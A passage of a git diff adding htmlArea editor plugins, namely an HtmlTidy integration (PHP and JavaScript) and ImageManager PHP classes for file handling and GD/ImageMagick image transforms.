+               while (!feof($pipes[1])) {
+                       //echo fgets($pipes[1], 1024);
+                       $newsrc .= fgets($pipes[1], 1024);
+               }
+               fclose($pipes[1]);
+
+               // Clean up after ourselves
+               proc_close($process);
+
+       } else {
+               // Better give them back what they came with, so they don't lose it all...
+               $newsrc = "<body>\n" .$source. "\n</body>";
+       }
+
+       // Split our source into an array by lines
+       $srcLines = explode("\n",$newsrc);
+
+       // Get only the lines between the body tags
+       $startLn = 0;
+       while ( strpos( $srcLines[$startLn++], '<body' ) === false && $startLn < sizeof($srcLines) );
+       $endLn = $startLn;
+       while ( strpos( $srcLines[$endLn++], '</body' ) === false && $endLn < sizeof($srcLines) );
+
+       $srcLines = array_slice( $srcLines, $startLn, ($endLn - $startLn - 1) );
+
+       // Create a set of javascript code to compile a new source string
+       foreach ($srcLines as $line) {
+               $jsMakeSrc .= "\tns += '" . str_replace("'","\'",$line) . "\\n';\n";
+       }
+?>
+
+
+<html>
+  <head>
+    <script type="text/javascript">
+
+function setNewHtml() {
+       var htRef = window.parent._editorRef.plugins['HtmlTidy'];
+       htRef.instance.processTidied(tidyString());
+}
+function tidyString() {
+       var ns = '\n';
+       <?=$jsMakeSrc;?>
+       return ns;
+}
+
+    </script>
+  </head>
+
+  <body id="htiNewBody" onload="setNewHtml()">
+  </body>
+</html>
diff --git a/admin/htmlarea/plugins/HtmlTidy/html-tidy.js b/admin/htmlarea/plugins/HtmlTidy/html-tidy.js
new file mode 100755 (executable)
index 0000000..7fc5252
--- /dev/null
@@ -0,0 +1,128 @@
+// Plugin for htmlArea to run code through the server's HTML Tidy
+// By Adam Wright, for The University of Western Australia
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+function HtmlTidy(editor) {
+       this.editor = editor;
+
+       var cfg = editor.config;
+       var tt = HtmlTidy.I18N;
+       var bl = HtmlTidy.btnList;
+       var self = this;
+
+       this.onMode = this.__onMode;
+
+       // register the toolbar buttons provided by this plugin
+       var toolbar = [];
+       for (var i in bl) {
+               var btn = bl[i];
+               if (btn == "html-tidy") {
+                       var id = "HT-html-tidy";
+                       cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "HtmlTidy"), true,
+                                          function(editor, id) {
+                                                  // dispatch button press event
+                                                  self.buttonPress(editor, id);
+                                          }, btn[1]);
+                       toolbar.push(id);
+               } else if (btn == "html-auto-tidy") {
+                       var ht_class = {
+                               id      : "HT-auto-tidy",
+                               options : { "Auto-Tidy" : "auto", "Don't Tidy" : "noauto" },
+                               action  : function (editor) { self.__onSelect(editor, this); },
+                               refresh : function (editor) { },
+                               context : "body"
+                       };
+                       cfg.registerDropdown(ht_class);
+               }
+       }
+
+       for (var i in toolbar) {
+               cfg.toolbar[0].push(toolbar[i]);
+       }
+};
+
+HtmlTidy._pluginInfo = {
+       name          : "HtmlTidy",
+       version       : "1.0",
+       developer     : "Adam Wright",
+       developer_url : "http://blog.hipikat.org/",
+       sponsor       : "The University of Western Australia",
+       sponsor_url   : "http://www.uwa.edu.au/",
+       license       : "htmlArea"
+};
+
+HtmlTidy.prototype.__onSelect = function(editor, obj) {
+       // Get the toolbar element object
+       var elem = editor._toolbarObjects[obj.id].element;
+
+       // Set our onMode event appropriately
+       if (elem.value == "auto")
+               this.onMode = this.__onMode;
+       else
+               this.onMode = null;
+};
+
+HtmlTidy.prototype.__onMode = function(mode) {
+       if ( mode == "textmode" ) {
+               this.buttonPress(this.editor, "HT-html-tidy");
+       }
+};
+
+HtmlTidy.btnList = [
+                   null, // separator
+                   ["html-tidy"],
+                   ["html-auto-tidy"]
+];
+
+HtmlTidy.prototype.onGenerateOnce = function() {
+       var editor = this.editor;
+
+       var ifr = document.createElement("iframe");
+       ifr.name = "htiframe_name";
+       var s = ifr.style;
+       s.position = "absolute";
+       s.width = s.height = s.border = s.left = s.top = s.padding = s.margin = "0px";
+       document.body.appendChild(ifr);
+
+       var frm = '<form id="htiform_id" name="htiform_name" method="post" target="htiframe_name" action="';
+       frm += _editor_url + 'plugins/HtmlTidy/html-tidy-logic.php';
+       frm += '"><textarea name="htisource_name" id="htisource_id">';
+       frm += '</textarea></form>';
+
+       var newdiv = document.createElement('div');
+       newdiv.style.display = "none";
+       newdiv.innerHTML = frm;
+       document.body.appendChild(newdiv);
+};
+
+HtmlTidy.prototype.buttonPress = function(editor, id) {
+       var i18n = HtmlTidy.I18N;
+
+       switch (id) {
+           case "HT-html-tidy":
+
+               var oldhtml = editor.getHTML();
+
+               // Ask the server for some nice new html, based on the old...
+               var myform = document.getElementById('htiform_id');
+               var txtarea = document.getElementById('htisource_id');
+               txtarea.value = editor.getHTML();
+
+               // Apply the 'meanwhile' text, e.g. "Tidying HTML, please wait..."
+               editor.setHTML(i18n['tidying']);
+
+               // The returning tidying processing script needs to find the editor
+               window._editorRef = editor;
+
+               // ...And send our old source off for processing!
+               myform.submit();
+               break;
+       }
+};
+
+HtmlTidy.prototype.processTidied = function(newSrc) {
+       editor = this.editor;
+       editor.setHTML(newSrc);
+};
diff --git a/admin/htmlarea/plugins/HtmlTidy/img/html-tidy.gif b/admin/htmlarea/plugins/HtmlTidy/img/html-tidy.gif
new file mode 100755 (executable)
index 0000000..ed1cbb1
Binary files /dev/null and b/admin/htmlarea/plugins/HtmlTidy/img/html-tidy.gif differ
diff --git a/admin/htmlarea/plugins/HtmlTidy/img/makefile.xml b/admin/htmlarea/plugins/HtmlTidy/img/makefile.xml
new file mode 100755 (executable)
index 0000000..7e96531
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.{gif,png,jpg}" />
+</files>
diff --git a/admin/htmlarea/plugins/HtmlTidy/lang/en.js b/admin/htmlarea/plugins/HtmlTidy/lang/en.js
new file mode 100755 (executable)
index 0000000..79ee372
--- /dev/null
@@ -0,0 +1,18 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Adam Wright, http://blog.hipikat.org/
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+HtmlTidy.I18N = {
+       "tidying"                               : "\n Tidying up the HTML source, please wait...",
+       "HT-html-tidy"                          : "HTML Tidy"
+};
diff --git a/admin/htmlarea/plugins/HtmlTidy/lang/makefile.xml b/admin/htmlarea/plugins/HtmlTidy/lang/makefile.xml
new file mode 100755 (executable)
index 0000000..eed81b0
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.js" />
+</files>
diff --git a/admin/htmlarea/plugins/HtmlTidy/makefile.xml b/admin/htmlarea/plugins/HtmlTidy/makefile.xml
new file mode 100755 (executable)
index 0000000..84f1fd3
--- /dev/null
@@ -0,0 +1,7 @@
+<files>
+  <file name="*.{html,js,cgi,php,css,cfg}" />
+  <file name="README" />
+
+  <dir name="lang" />
+  <dir name="img" />
+</files>
diff --git a/admin/htmlarea/plugins/ImageManager/Classes/Files.php b/admin/htmlarea/plugins/ImageManager/Classes/Files.php
new file mode 100755 (executable)
index 0000000..165e4cd
--- /dev/null
@@ -0,0 +1,215 @@
+<?
+/**
+ * File Utilities.
+ * @author $Author: cscott $
+ * @version $Id: Files.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+define('FILE_ERROR_NO_SOURCE', 100);
+define('FILE_ERROR_COPY_FAILED', 101);
+define('FILE_ERROR_DST_DIR_FAILED', 102);
+define('FILE_COPY_OK', 103);
+
+/**
+ * File Utilities
+ * @author $Author: cscott $
+ * @version $Id: Files.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ * @subpackage files
+ */
+class Files 
+{
+       
+       /**
+        * Copy a file from source to destination. If unique == true, then if
+        * the destination exists, it will be renamed by appending an increamenting 
+        * counting number.
+        * @param string $source where the file is from, full path to the files required
+        * @param string $destination_file name of the new file, just the filename
+        * @param string $destination_dir where the files, just the destination dir,
+        * e.g., /www/html/gallery/
+        * @param boolean $unique create unique destination file if true.
+        * @return string the new copied filename, else error if anything goes bad.
+        */
+       function copyFile($source, $destination_dir, $destination_file, $unique=true) 
+       {
+               if(!(file_exists($source) && is_file($source))) 
+                       return FILE_ERROR_NO_SOURCE;
+
+               $destination_dir = Files::fixPath($destination_dir);
+
+               if(!is_dir($destination_dir)) 
+                       Return FILE_ERROR_DST_DIR_FAILED;
+
+               $filename = Files::escape($destination_file);
+
+               if($unique) 
+               {
+                       $dotIndex = strrpos($destination_file, '.');
+                       $ext = '';
+                       if(is_int($dotIndex)) 
+                       {
+                               $ext = substr($destination_file, $dotIndex);
+                               $base = substr($destination_file, 0, $dotIndex);
+                       }
+                       $counter = 0;
+                       while(is_file($destination_dir.$filename)) 
+                       {
+                               $counter++;
+                               $filename = $base.'_'.$counter.$ext;
+                       }
+               }
+
+               if (!copy($source, $destination_dir.$filename))
+                       return FILE_ERROR_COPY_FAILED;
+               
+               //verify that it copied, new file must exists
+               if (is_file($destination_dir.$filename))
+                       Return $filename;
+               else
+                       return FILE_ERROR_COPY_FAILED;
+       }
+
+       /**
+        * Create a new folder.
+        * @param string $newFolder specifiy the full path of the new folder.
+        * @return boolean true if the new folder is created, false otherwise.
+        */
+       function createFolder($newFolder) 
+       {
+               mkdir ($newFolder, 0777);
+               return chmod($newFolder, 0777);
+       }
+
+
+       /**
+        * Escape the filenames, any non-word characters will be
+        * replaced by an underscore.
+        * @param string $filename the orginal filename
+        * @return string the escaped safe filename
+        */
+       function escape($filename) 
+       {
+               Return preg_replace('/[^\w\._]/', '_', $filename);
+       }
+
+       /**
+        * Delete a file.
+        * @param string $file file to be deleted
+        * @return boolean true if deleted, false otherwise.
+        */
+       function delFile($file) 
+       {
+               if(is_file($file)) 
+                       Return unlink($file);
+               else
+                       Return false;
+       }
+
+       /**
+        * Delete folder(s), can delete recursively.
+        * @param string $folder the folder to be deleted.
+        * @param boolean $recursive if true, all files and sub-directories
+        * are delete. If false, tries to delete the folder, can throw
+        * error if the directory is not empty.
+        * @return boolean true if deleted.
+        */
+       function delFolder($folder, $recursive=false) 
+       {
+               $deleted = true;
+               if($recursive) 
+               {
+                       $d = dir($folder);
+                       while (false !== ($entry = $d->read())) 
+                       {
+                               if ($entry != '.' && $entry != '..')
+                               {
+                                       $obj = Files::fixPath($folder).$entry;
+                                       //var_dump($obj);
+                                       if (is_file($obj))
+                                       {
+                                               $deleted &= Files::delFile($obj);                                       
+                                       }
+                                       else if(is_dir($obj))
+                                       {
+                                               $deleted &= Files::delFolder($obj, $recursive);
+                                       }
+                                       
+                               }
+                       }
+                       $d->close();
+
+               }
+
+               //$folder= $folder.'/thumbs';
+               //var_dump($folder);
+               if(is_dir($folder)) 
+                       $deleted &= rmdir($folder);
+               else
+                       $deleted &= false;
+
+               Return $deleted;
+       }
+
+       /**
+        * Append a / to the path if required.
+        * @param string $path the path
+        * @return string path with trailing /
+        */
+       function fixPath($path) 
+       {
+               //append a slash to the path if it doesn't exists.
+               if(!(substr($path,-1) == '/'))
+                       $path .= '/';
+               Return $path;
+       }
+
+       /**
+        * Concat two paths together. Basically $pathA+$pathB
+        * @param string $pathA path one
+        * @param string $pathB path two
+        * @return string a trailing slash combinded path.
+        */
+       function makePath($pathA, $pathB) 
+       {
+               $pathA = Files::fixPath($pathA);
+               if(substr($pathB,0,1)=='/')
+                       $pathB = substr($pathB,1);
+               Return Files::fixPath($pathA.$pathB);
+       }
+
+       /**
+        * Similar to makePath, but the second parameter
+        * is not only a path, it may contain say a file ending.
+        * @param string $pathA the leading path
+        * @param string $pathB the ending path with file
+        * @return string combined file path.
+        */
+       function makeFile($pathA, $pathB) 
+       {               
+               $pathA = Files::fixPath($pathA);
+               if(substr($pathB,0,1)=='/')
+                       $pathB = substr($pathB,1);
+               
+               Return $pathA.$pathB;
+       }
+
+       
+       /**
+        * Format the file size, limits to Mb.
+        * @param int $size the raw filesize
+        * @return string formated file size.
+        */
+       function formatSize($size) 
+       {
+               if($size < 1024) 
+                       return $size.' bytes';  
+               else if($size >= 1024 && $size < 1024*1024) 
+                       return sprintf('%01.2f',$size/1024.0).' Kb';    
+               else
+                       return sprintf('%01.2f',$size/(1024.0*1024)).' Mb';     
+       }
+}
+
+?>
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/Classes/GD.php b/admin/htmlarea/plugins/ImageManager/Classes/GD.php
new file mode 100755 (executable)
index 0000000..15148a3
--- /dev/null
@@ -0,0 +1,503 @@
+<?php
+/***********************************************************************
+** Title.........:  GD Driver
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  GD.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+**/
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// |          Alan Knowles <alan@akbkhome.com>                            |
+// +----------------------------------------------------------------------+
+//
+//    Usage :
+//    $img    = new Image_Transform_GD();
+//    $angle  = -78;
+//    $img->load('magick.png');
+//
+//    if($img->rotate($angle,array('autoresize'=>true,'color_mask'=>array(255,0,0)))){
+//        $img->addText(array('text'=>"Rotation $angle",'x'=>0,'y'=>100,'font'=>'/usr/share/fonts/default/TrueType/cogb____.ttf'));
+//        $img->display();
+//    } else {
+//        echo "Error";
+//    }
+//
+//
+// $Id: GD.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+//
+// Image Transformation interface using the GD library
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_GD extends Image_Transform
+{
+    /**
+     * Holds the image file for manipulation
+     */
+    var $imageHandle = '';
+
+    /**
+     * Holds the original image file
+     */
+    var $old_image = '';
+
+    /**
+     * Check settings
+     *
+     * @return mixed true or  or a PEAR error object on error
+     *
+     * @see PEAR::isError()
+     */
+    function Image_Transform_GD()
+    {
+        return;
+    } // End function Image
+
+    /**
+     * Load image
+     *
+     * @param string filename
+     *
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function load($image)
+    {
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+        $this->image = $image;
+        $this->_get_image_details($image);
+        $functionName = 'ImageCreateFrom' . $this->type;
+               if(function_exists($functionName))
+               {
+                       $this->imageHandle = $functionName($this->image);
+               }
+    } // End load
+
+    /**
+     * addText
+     *
+     * @param   array   options     Array contains options
+     *                              array(
+     *                                  'text'  The string to draw
+     *                                  'x'     Horizontal position
+     *                                  'y'     Vertical Position
+     *                                  'Color' Font color
+     *                                  'font'  Font to be used
+     *                                  'size'  Size of the fonts in pixel
+     *                                  'resize_first'  Tell if the image has to be resized
+     *                                                  before drawing the text
+     *                              )
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function addText($params)
+    {
+        $default_params = array(
+                                'text' => 'This is Text',
+                                'x' => 10,
+                                'y' => 20,
+                                'color' => array(255,0,0),
+                                'font' => 'Arial.ttf',
+                                'size' => '12',
+                                'angle' => 0,
+                                'resize_first' => false // Carry out the scaling of the image before annotation?  Not used for GD
+                                );
+        $params = array_merge($default_params, $params);
+        extract($params);
+
+        if( !is_array($color) ){
+            if ($color[0]=='#'){
+                $this->colorhex2colorarray( $color );
+            } else {
+                include_once('Image/Transform/Driver/ColorsDefs.php');
+                $color = isset($colornames[$color])?$colornames[$color]:false;
+            }
+        }
+
+        $c = imagecolorresolve ($this->imageHandle, $color[0], $color[1], $color[2]);
+
+        if ('ttf' == substr($font, -3)) {
+            ImageTTFText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+        } else {
+            ImagePSText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+        }
+        return true;
+    } // End addText
+
+
+    /**
+     * Rotate image by the given angle
+     * Uses a fast rotation algorythm for custom angles
+     * or lines copy for multiple of 90 degrees
+     *
+     * @param int       $angle      Rotation angle
+     * @param array     $options    array(  'autoresize'=>true|false,
+     *                                      'color_mask'=>array(r,g,b), named color or #rrggbb
+     *                                   )
+     * @author Pierre-Alain Joye
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function rotate($angle, $options=null)
+    {
+        if(function_exists('imagerotate')) {
+            $white = imagecolorallocate ($this->imageHandle, 255, 255, 255);
+                       $this->imageHandle = imagerotate($this->imageHandle, $angle, $white);
+            return true;
+        }
+
+        if ( $options==null ){
+            $autoresize = true;
+            $color_mask = array(255,255,0);
+        } else {
+            extract( $options );
+        }
+
+        while ($angle <= -45) {
+            $angle  += 360;
+        }
+        while ($angle > 270) {
+            $angle  -= 360;
+        }
+
+        $t      = deg2rad($angle);
+
+        if( !is_array($color_mask) ){
+            if ($color[0]=='#'){
+                $this->colorhex2colorarray( $color_mask );
+            } else {
+                include_once('Image/Transform/Driver/ColorDefs.php');
+                $color = isset($colornames[$color_mask])?$colornames[$color_mask]:false;
+            }
+        }
+
+        // Do not round it, too much lost of quality
+        $cosT   = cos($t);
+        $sinT   = sin($t);
+
+        $img    =& $this->imageHandle;
+
+        $width  = $max_x  = $this->img_x;
+        $height = $max_y  = $this->img_y;
+        $min_y  = 0;
+        $min_x  = 0;
+
+        $x1     = round($max_x/2,0);
+        $y1     = round($max_y/2,0);
+
+        if ( $autoresize ){
+            $t      = abs($t);
+            $a      = round($angle,0);
+            switch((int)($angle)){
+                case 0:
+                        $width2     = $width;
+                        $height2    = $height;
+                    break;
+                case 90:
+                        $width2     = $height;
+                        $height2    = $width;
+                    break;
+                case 180:
+                        $width2     = $width;
+                        $height2    = $height;
+                    break;
+                case 270:
+                        $width2     = $height;
+                        $height2    = $width;
+                    break;
+                default:
+                    $width2     = (int)(abs(sin($t) * $height + cos($t) * $width));
+                    $height2    = (int)(abs(cos($t) * $height+sin($t) * $width));
+            }
+
+            $width2     -= $width2%2;
+            $height2    -= $height2%2;
+
+            $d_width    = abs($width - $width2);
+            $d_height   = abs($height - $height2);
+            $x_offset   = $d_width/2;
+            $y_offset   = $d_height/2;
+            $min_x2     = -abs($x_offset);
+            $min_y2     = -abs($y_offset);
+            $max_x2     = $width2;
+            $max_y2     = $height2;
+        }
+
+        $img2   = @imagecreate($width2,$height2);
+
+        if ( !is_resource($img2) ){
+            return false;/*PEAR::raiseError('Cannot create buffer for the rotataion.',
+                                null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+        }
+
+        $this->img_x = $width2;
+        $this->img_y = $height2;
+
+
+        imagepalettecopy($img2,$img);
+
+        $mask   = imagecolorresolve($img2,$color_mask[0],$color_mask[1],$color_mask[2]);
+
+        // use simple lines copy for axes angles
+        switch((int)($angle)){
+            case 0:
+                imagefill ($img2, 0, 0,$mask);
+                for ($y=0; $y < $max_y; $y++) {
+                    for ($x = $min_x; $x < $max_x; $x++){
+                        $c  = @imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+                    }
+                }
+                break;
+            case 90:
+                imagefill ($img2, 0, 0,$mask);
+                for ($x = $min_x; $x < $max_x; $x++){
+                    for ($y=$min_y; $y < $max_y; $y++) {
+                        $c  = imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2,$max_y-$y-1,$x,$c);
+                    }
+                }
+                break;
+            case 180:
+                imagefill ($img2, 0, 0,$mask);
+                for ($y=0; $y < $max_y; $y++) {
+                    for ($x = $min_x; $x < $max_x; $x++){
+                        $c  = @imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2, $max_x2-$x-1, $max_y2-$y-1, $c);
+                    }
+                }
+                break;
+            case 270:
+                imagefill ($img2, 0, 0,$mask);
+                for ($y=0; $y < $max_y; $y++) {
+                    for ($x = $max_x; $x >= $min_x; $x--){
+                        $c  = @imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2,$y,$max_x-$x-1,$c);
+                    }
+                }
+                break;
+            // simple reverse rotation algo
+            default:
+                $i=0;
+                for ($y = $min_y2; $y < $max_y2; $y++){
+
+                    // Algebra :)
+                    $x2 = round((($min_x2-$x1) * $cosT) + (($y-$y1) * $sinT + $x1),0);
+                    $y2 = round((($y-$y1) * $cosT - ($min_x2-$x1) * $sinT + $y1),0);
+
+                    for ($x = $min_x2; $x < $max_x2; $x++){
+
+                        // Check if we are out of original bounces, if we are
+                        // use the default color mask
+                        if ( $x2>=0 && $x2<$max_x && $y2>=0 && $y2<$max_y ){
+                            $c  = imagecolorat ( $img, $x2, $y2);
+                        } else {
+                            $c  = $mask;
+                        }
+                        imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+
+                        // round verboten!
+                        $x2  += $cosT;
+                        $y2  -= $sinT;
+                    }
+                }
+                break;
+        }
+        $this->old_image    = $this->imageHandle;
+        $this->imageHandle  =  $img2;
+        return true;
+    }
+
+
+   /**
+    * Resize Action
+    *
+    * For GD 2.01+ the new copyresampled function is used
+    * It uses a bicubic interpolation algorithm to get far
+    * better result.
+    *
+    * @param $new_x int  new width
+    * @param $new_y int  new height
+    *
+    * @return true on success or pear error
+    * @see PEAR::isError()
+    */
+    function _resize($new_x, $new_y) {
+        if ($this->resized === true) {
+            return false; /*PEAR::raiseError('You have already resized the image without saving it.  Your previous resizing will be overwritten', null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+        }
+        if(function_exists('ImageCreateTrueColor')){
+            $new_img =ImageCreateTrueColor($new_x,$new_y);
+        } else {
+            $new_img =ImageCreate($new_x,$new_y);
+        }
+        if(function_exists('ImageCopyResampled')){
+            ImageCopyResampled($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+        } else {
+            ImageCopyResized($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+        }
+        $this->old_image = $this->imageHandle;
+        $this->imageHandle = $new_img;
+        $this->resized = true;
+
+        $this->new_x = $new_x;
+        $this->new_y = $new_y;
+        return true;
+    }
+
+    /**
+     * Crop the image
+     *
+     * @param int $crop_x left column of the image
+     * @param int $crop_y top row of the image
+     * @param int $crop_width new cropped image width
+     * @param int $crop_height new cropped image height
+     */
+    function crop($new_x, $new_y, $new_width, $new_height) 
+    {
+        if(function_exists('ImageCreateTrueColor')){
+            $new_img =ImageCreateTrueColor($new_width,$new_height);
+        } else {
+            $new_img =ImageCreate($new_width,$new_height);
+        }
+        if(function_exists('ImageCopyResampled')){
+            ImageCopyResampled($new_img, $this->imageHandle, 0, 0, $new_x, $new_y,$new_width,$new_height,$new_width,$new_height);
+        } else {
+            ImageCopyResized($new_img, $this->imageHandle, 0, 0, $new_x, $new_y, $new_width,$new_height,$new_width,$new_height);
+        }
+        $this->old_image = $this->imageHandle;
+        $this->imageHandle = $new_img;
+        $this->resized = true;
+
+        $this->new_x = $new_x;
+        $this->new_y = $new_y;
+        return true;
+    }
+   
+    /**
+     * Flip the image horizontally or vertically
+     *
+     * @param boolean $horizontal true if horizontal flip, vertical otherwise
+     */
+    function flip($horizontal)
+    {
+        if(!$horizontal) {
+            $this->rotate(180);
+        }
+
+        $width = imagesx($this->imageHandle); 
+        $height = imagesy($this->imageHandle); 
+
+        for ($j = 0; $j < $height; $j++) { 
+                $left = 0; 
+                $right = $width-1; 
+
+
+                while ($left < $right) { 
+                    //echo " j:".$j." l:".$left." r:".$right."\n<br>";
+                    $t = imagecolorat($this->imageHandle, $left, $j); 
+                    imagesetpixel($this->imageHandle, $left, $j, imagecolorat($this->imageHandle, $right, $j)); 
+                    imagesetpixel($this->imageHandle, $right, $j, $t); 
+                    $left++; $right--; 
+                } 
+            
+        }
+
+        return true;
+    }
+
+
+    /**
+     * Adjust the image gamma
+     *
+     * @param float $outputgamma
+     *
+     * @return none
+     */
+    function gamma($outputgamma=1.0) {
+        ImageGammaCorrect($this->imageHandle, 1.0, $outputgamma);
+    }
+
+    /**
+     * Save the image file
+     *
+     * @param $filename string  the name of the file to write to
+     * @param $quality  int     output DPI, default is 85
+     * @param $types    string  define the output format, default
+     *                          is the current used format
+     *
+     * @return none
+     */
+    function save($filename, $type = '', $quality = 85)
+    {
+               $type           = $type==''? $this->type : $type;
+               $functionName   = 'image' . $type;
+
+               if(function_exists($functionName))
+               {
+                       $this->old_image = $this->imageHandle;
+                       if($type=='jpeg')
+                               $functionName($this->imageHandle, $filename, $quality);
+                       else
+                               $functionName($this->imageHandle, $filename);
+                       $this->imageHandle = $this->old_image;
+                       $this->resized = false;
+               }
+    } // End save
+
+
+    /**
+     * Display image without saving and lose changes
+     *
+     * @param string type (JPG,PNG...);
+     * @param int quality 75
+     *
+     * @return none
+     */
+    function display($type = '', $quality = 75)
+    {
+        if ($type != '') {
+            $this->type = $type;
+        }
+        $functionName = 'Image' . $this->type;
+               if(function_exists($functionName))
+               {
+                       header('Content-type: image/' . strtolower($this->type));
+                       $functionName($this->imageHandle, '', $quality);
+                       $this->imageHandle = $this->old_image;
+                       $this->resized = false;
+                       ImageDestroy($this->old_image);
+                       $this->free();
+               }
+    }
+
+    /**
+     * Destroy image handle
+     *
+     * @return none
+     */
+    function free()
+    {
+        if ($this->imageHandle){
+            ImageDestroy($this->imageHandle);
+        }
+    }
+
+} // End class ImageGD
+?>
diff --git a/admin/htmlarea/plugins/ImageManager/Classes/IM.php b/admin/htmlarea/plugins/ImageManager/Classes/IM.php
new file mode 100755 (executable)
index 0000000..4348c81
--- /dev/null
@@ -0,0 +1,235 @@
+<?php
+
+/***********************************************************************
+** Title.........:  ImageMagick Driver
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  IM.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// +----------------------------------------------------------------------+
+//
+// $Id: IM.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+//
+// Image Transformation interface using command line ImageMagick
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_IM extends Image_Transform
+{
+    /**
+     * associative array commands to be executed
+     * @var array
+     */
+    var $command = array();
+
+    /**
+     *
+     *
+     */
+    function Image_Transform_Driver_IM()
+    {
+        return true;
+    } // End Image_IM
+
+    /**
+     * Load image
+     *
+     * @param string filename
+     *
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function load($image)
+    {
+
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+        /*if (!file_exists($image)) {
+            return PEAR::raiseError('The image file ' . $image . ' does\'t exist', true);
+        }*/
+        $this->image = $image;
+        $this->_get_image_details($image);
+    } // End load
+
+    /**
+     * Resize Action
+     *
+     * @param int   new_x   new width
+     * @param int   new_y   new height
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function _resize($new_x, $new_y)
+    {
+        /*if (isset($this->command['resize'])) {
+            return PEAR::raiseError("You cannot scale or resize an image more than once without calling save or display", true);
+        }*/
+        $this->command['resize'] = "-geometry ${new_x}x${new_y}!";
+
+        $this->new_x = $new_x;
+        $this->new_y = $new_y;
+    } // End resize
+
+    /**
+     * Crop the image
+     *
+     * @param int $crop_x left column of the image
+     * @param int $crop_y top row of the image
+     * @param int $crop_width new cropped image width
+     * @param int $crop_height new cropped image height
+     */
+    function crop($crop_x, $crop_y, $crop_width, $crop_height) 
+    {
+        $this->command['crop'] = "-crop {$crop_width}x{$crop_height}+{$crop_x}+{$crop_y}";
+    }
+
+    /**
+     * Flip the image horizontally or vertically
+     *
+     * @param boolean $horizontal true if horizontal flip, vertical otherwise
+     */
+    function flip($horizontal) 
+    {
+        if($horizontal)
+            $this->command['flop'] = "-flop";
+        else
+            $this->command['flip'] = "-flip";
+    }
+    /**
+     * rotate
+     *
+     * @param   int     angle   rotation angle
+     * @param   array   options no option allowed
+     *
+     */
+    function rotate($angle, $options=null)
+    {
+        if ('-' == $angle{0}) {
+            $angle = 360 - substr($angle, 1);
+        }
+         $this->command['rotate'] = "-rotate $angle";
+    } // End rotate
+
+    /**
+     * addText
+     *
+     * @param   array   options     Array contains options
+     *                              array(
+     *                                  'text'  The string to draw
+     *                                  'x'     Horizontal position
+     *                                  'y'     Vertical Position
+     *                                  'Color' Font color
+     *                                  'font'  Font to be used
+     *                                  'size'  Size of the fonts in pixel
+     *                                  'resize_first'  Tell if the image has to be resized
+     *                                                  before drawing the text
+     *                              )
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function addText($params)
+    {
+        $default_params = array(
+                                'text' => 'This is Text',
+                                'x' => 10,
+                                'y' => 20,
+                                'color' => 'red',
